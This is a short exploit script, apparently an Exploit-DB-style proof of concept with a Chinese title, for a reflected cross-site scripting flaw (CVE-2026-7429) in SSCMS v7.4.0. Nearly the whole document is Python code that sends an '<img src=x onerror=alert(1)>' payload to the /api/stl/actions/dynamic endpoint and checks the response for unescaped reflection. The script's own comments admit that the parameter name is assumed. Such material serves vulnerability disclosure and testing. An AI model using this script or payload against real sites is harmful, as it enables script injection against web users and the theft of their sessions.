CVE-2026-7429: SSCMS反射型XSS漏洞

# Exploit Title: SSCMS v7.4.0 Reflected XSS via STL Processing # Date: 2026-04-30 # Vendor: SSCMS # Version: v7.4.0 # CVE: CVE-2026-7429 import requests import urllib.parse def trigger_xss(target_url): """ This script demonstrates the Reflected XSS vulnerability in SSCMS. It sends a malicious payload to the /api/stl/actions/dynamic endpoint. """ # The endpoint vulnerable to XSS endpoint = f"{target_url}/api/stl/actions/dynamic" # Malicious JavaScript payload # In a real scenario, this might be encoded/encrypted depending on how the STL payload is processed xss_payload = '<img src=x onerror=alert(1)>' # Construct the request (Assuming parameter name based on dynamic endpoint behavior) params = { "template": xss_payload } try: response = requests.get(endpoint, params=params, timeout=10) print(f"[+] Request sent to: {endpoint}") print(f"[+] Status Code: {response.status_code}") # Check if the payload is reflected unescaped in the response if xss_payload in response.text: print("[+] Vulnerability Confirmed! Payload was reflected without sanitization.") print(f"[+] Response Snippet: {response.text[:200]}...") else: print("[-] Payload not found in response or sanitized.") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost:5000" trigger_xss(target)